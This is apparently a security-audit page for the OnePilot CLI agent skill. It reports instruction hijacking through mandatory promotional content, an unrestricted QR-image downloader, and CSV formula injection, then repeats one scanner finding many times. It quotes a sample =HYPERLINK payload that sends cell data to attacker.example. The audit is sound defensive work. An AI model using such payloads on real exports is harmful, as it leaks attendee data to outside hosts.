Security audit

OnePilot CLI

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its OnePilot event-assistant purpose, but its QR downloader and CSV export handling are broader and riskier than necessary.

Install only if you are comfortable binding a OnePilot account, sending selected preferences/application data to OnePilot cloud, and letting the agent run this local CLI. Avoid using custom QR URLs or --output paths, treat organizer CSV exports as untrusted before opening in spreadsheets, and review any recommendation/email wording before sending it onward.

A.I.G

Vulnerability Patterns

Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally

Findings (3)

T01 · Skill Instruction Hijacking

Error

Location: SKILL.md:164
Finding: Mandatory Promotional Content Injected into Agent Responses
Content: View full analysis
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Warning

Location: scripts/onepilot-agent.mjs:793
Finding: Arbitrary HTTP Retrieval and Writable-Path Overwrite in QR Image Downloader
Content: View full analysis
5_000_000) throw new Error("qr_image_too_large"); const buffer = Buffer.from(await response.arrayBuffer()); if (buffer.byteLength > 5_000_000) throw new Error("qr_image_too_large"); const contentType = response.headers.get("content-type") || ""; if (contentType && !contentType.toLowerCase().startsWith("image/")) throw new Error("qr_url_not_image"); const output = String(args.output || "").trim(); const outputPath = output ? path.resolve(output) : path.join(os.tmpdir(), `onepilot-event-group-qr-${Date.now()}${imageExtension(contentType, rawUrl)}`); fs.mkdirSync(path.dirname(outputPath), { recursive: true }); fs.writeFileSync(outputPath, buffer); return { ok: true, imagePath: outputPath, contentType: contentType || "image/*", bytes: buffer.byteLength, instruction: "Send imagePath as an inline image or image attachment to the user. If the current channel cannot send local images, fall back to the original URL.", fallbackUrl: rawUrl, }; } ``` ### Technical Analysis The downloader accepts every syntactically valid HTTP or HTTPS URL. It does not restrict the de ...[truncated 2819 chars]
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Warning

Location: scripts/onepilot-agent.mjs:902
Finding: Spreadsheet Formula Injection in Organizer Registration CSV Export
Content: View full analysis
[ row.submittedAt || "", row.eventTitle || row.eventExternalId || "", row.name || "", row.company || "", row.jobTitle || "", row.wechat || "", row.status || "", ].map(csvEscape).join(",")); return [headers.join(","), ...body].join("\n"); } ``` ### Technical Analysis `csvEscape` protects CSV structure by quoting fields containing commas, quotation marks, or line breaks. It does not protect spreadsheet semantics. Spreadsheet applications may interpret cells beginning with characters such as `=`, `+`, `-`, or `@` as formulas. Registration records contain attendee-controlled or externally supplied fields including name, company, job title, and WeChat identifier. A malicious attendee can place a formula into one of those fields. Quoting the cell is not a sufficient defense because common spreadsheet applications can still evaluate a quoted CSV field as a formula after import. The export must neutralize dangerous leading characters before CSV serialization. ### Attack Path 1. An attendee submits a registration field containing a spreadsheet formula, for example: ```text =HYPERLINK("https://attacker.example/collect?data="&A1,"Open") ``` 2. OnePilot stores the field as part of the attendee registration. 3. An organizer explicitly exports registration data using: ```bash node ./scripts/onepilot-agent.mjs organizer registrations export \ --event-id EVENT_ID \ --confirmed ``` 4. `registrationsToCsv` places the attacker-controlled val ...[truncated 1003 chars]
Remediation: View remediation

SkillSpector

Vulnerability Patterns

Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep

Findings (42)

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 19)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 27)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 39)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 45)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 46)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 52)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 79)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 120)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 121)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 148)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 180)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 199)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 213)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 219)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 229)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 237)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 238)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 246)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 273)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 283)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 290)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 297)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 305)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 317)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 332)May include surrounding context.
md
node ./scripts/onepilot-agent.mjs status

Static analysis

No suspicious patterns detected.